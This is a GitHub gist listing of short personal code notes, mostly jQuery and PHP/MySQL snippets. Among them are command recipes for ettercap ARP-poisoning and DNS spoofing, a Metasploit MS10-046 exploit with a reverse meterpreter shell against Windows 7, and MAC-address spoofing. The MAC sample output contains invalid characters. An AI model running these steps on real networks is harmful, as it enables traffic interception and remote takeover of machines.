Skip to content

Instantly share code, notes, and snippets.

@boy3vil
boy3vil / jQuery get current URL
Created February 28, 2015 04:12
jQuery get current URL
http://www.test.com:8082/index.php#tab2?foo=123
Property Result
--------------------------------------------------------------------------
window.location.host www.test.com:8082
window.location.hostname www.test.com
window.location.port 8082
window.location.protocol http
@boy3vil
boy3vil / php sql delete multiple tables
Created February 25, 2015 07:33
php sql delete multiple tables
$sql = "
DELETE a, b
FROM a, b
WHERE a.id = 'target'
AND a.id = b.id;
";
$result = mysql_query($sql);
@boy3vil
boy3vil / php sql insert multiple tables
Last active August 29, 2015 14:16
php sql insert multiple tables
if(!empty($sql2)){
if (mysql_query('BEGIN')) {
if (mysql_query($sql1) &&
mysql_query($sql2))
$result = mysql_query('COMMIT'); // both queries looked OK, save
else
mysql_query('ROLLBACK'); // problems with queries, no changes
}
}else{
$result = mysql_query($sql1);
@boy3vil
boy3vil / jQuery has Attribute
Created February 25, 2015 02:48
jQuery has Attribute
if ($('input[type="text"]').hasAttr('data-master')) { // Yay o nay?
alert('Yay! =D');
} else {
alert('Nay. =(');
}
/* * * * * * * * * * * * * * * * * * * * * * * * * * * */
jQuery.fn.hasAttr = function(selector) {
var attr = $(this).attr(selector);
@boy3vil
boy3vil / load script in ajax on page loaded
Last active August 29, 2015 14:16
load script in ajax on page loaded
// main file : index.html ---------------------------------------------------------------
<div id="response-div"></div>
<script type="text/javascript">
function doJavaScriptInAjax() {
$.ajax({
url: "ajax.html",
context: document.body,
success: function(responseText) {
$("#response-div").html(responseText);
$("#response-div").find("script:not([src])").each(function(i) {
@boy3vil
boy3vil / jquery li not with ul
Created February 22, 2015 15:21
select element without children
$('.menu li').not(':has(ul)').click(function(){
alert('ok');
});
@boy3vil
boy3vil / ettercap
Last active July 11, 2017 06:33
ettercap kali linux
locate etter.dns
service apache2 start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000
ettercap -T -q -w dump -i wlan0 -M ARP // // output:
ettercap -T -q -i wlan0 -P dns_spoof -M arp // //
@boy3vil
boy3vil / metasploit win7 "soceng"
Created February 6, 2015 11:12
metasploit win7
#https://sathisharthars.wordpress.com/2014/05/21/hack-windows-7-with-metasploit-using-kali-linux/
root@boy3vil:~# msfconsole
#msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
#msf > set payload windows/meterpreter/reverse_tcp
#msf > show options
#msf > set SRVHOST 192.168.31.20
#msf > set LHOST 192.168.31.20
#msf > show options
#msf > exploit
@boy3vil
boy3vil / linux macchanger
Created February 6, 2015 09:39
linux macchanger
root@boy3vil:~# ifconfig wlan0 down
root@boy3vil:~# macchanger -r wlan0
Permanent MAC: 90:f6:62:13:39:f0 (unknown)
Current MAC: G8:03:25:49:2c:00 (unknown)
New MAC: f6:G0:e3:27:47:56 (unknown)
root@boy3vil:~# ifconfig wlan0 up
@boy3vil
boy3vil / Could not apply the stored configuration for monitors
Created February 6, 2015 09:36
linux "Could not apply the stored configuration for monitors"
root@boy3vil:~# cd .config/
root@boy3vil:~/.config# mv monitors.xml monitorx.xml.bkp
root@boy3vil:~/.config# exit
root@boy3vil:~/.config# reboot